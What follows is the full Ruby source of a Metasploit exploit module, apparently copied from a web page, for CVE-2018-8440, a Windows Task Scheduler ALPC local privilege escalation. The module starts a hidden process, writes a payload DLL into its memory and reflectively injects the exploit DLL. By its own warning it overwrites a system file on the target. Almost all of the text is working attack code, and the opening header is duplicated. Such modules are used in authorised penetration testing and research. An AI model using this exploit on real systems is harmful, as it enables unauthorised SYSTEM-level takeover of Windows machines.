Microsoft Windows ALPC Task Scheduler Local Privilege Elevation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file' ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry' #TODO: Do we need this?
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows ALPC Task Scheduler Local Privilege Elevation',
'Description' => %q(
On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented
by the task scheduler service can be used to write arbitrary DACLs to `.job` files located
in `c:windows asks` because the scheduler does not use impersonation when checking this
location. Since users can create files in the `c:windows asks` folder, a hardlink can be
created to a file the user has read access to. After creating a hardlink, the vulnerability
can be triggered to set the DACL on the linked file.

WARNING:
The PrintConfig.dll (%windir%system32driverstorfilerepositoryprnms003*) on the target host
will be overwritten when the exploit runs.

This module has been tested against Windows 10 Pro x64.
),
'License' => MSF_LICENSE,
'Author' =>
[
'SandboxEscaper', # Original discovery and PoC
'bwatters-r7', # msf module
'asoto-r7', # msf module
'Jacob Robles' # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows 10 x64', { 'Arch' => ARCH_X64 }]
],
'References' =>
[
['CVE', '2018-8440'],
['URL', 'https://github.com/SandboxEscaper/randomrepo/'],
],
'DisclosureDate' => 'Aug 27 2018',
'DefaultTarget' => 0,
))

register_options([OptString.new('PROCESS',
[false, 'Name of process to spawn and inject dll into.', nil])
])
end

def setup_process(process_name)
begin
print_status("Launching #{process_name} to host the exploit...")
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end

def inject_magic(process, payload_dll)
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'ALPC-TaskSched-LPE.dll')
library_path = ::File.expand_path(library_path)
dll_data = ''
::File.open(library_path, 'rb') { |f| dll_data = f.read }

print_status("Writing payload dll into process #{process.pid} memory")
payload_addr = process.memory.allocate(payload_dll.length, PROT_READ | PROT_WRITE)
written = process.memory.write(payload_addr, payload_dll)

if written != payload_dll.length
fail_with(Failure::UnexpectedReply, 'Failed to write payload to process memory')
end

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
exploit_mem, offset = inject_dll_data_into_process(process, dll_data)
process.thread.create(exploit_mem + offset, payload_addr)
end

def validate_active_host
sysinfo['Computer']
true
rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError => e
elog("#{e.class} #{e.message} #{e.backtrace * " "}")
false
end

def validate_target
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end

if sysinfo['OS'] =~ /XP/
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end

def exploit
unless session.type == 'meterpreter'
fail_with(Failure::None, 'Only meterpreter sessions are supported')
end

payload_dll = generate_payload_dll
process_name = datastore['PROCESS'] || 'notepad.exe'

print_status('Checking target...')
unless validate_active_host
raise Msf::Exploit::Failed, 'Could not connect to session'
end
validate_target

print_status("Target Looks Good... trying to start #{process_name}")
process = setup_process(process_name)
inject_magic(process, payload_dll)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message} #{e.backtrace * " "}")
print_error(e.message)
end
end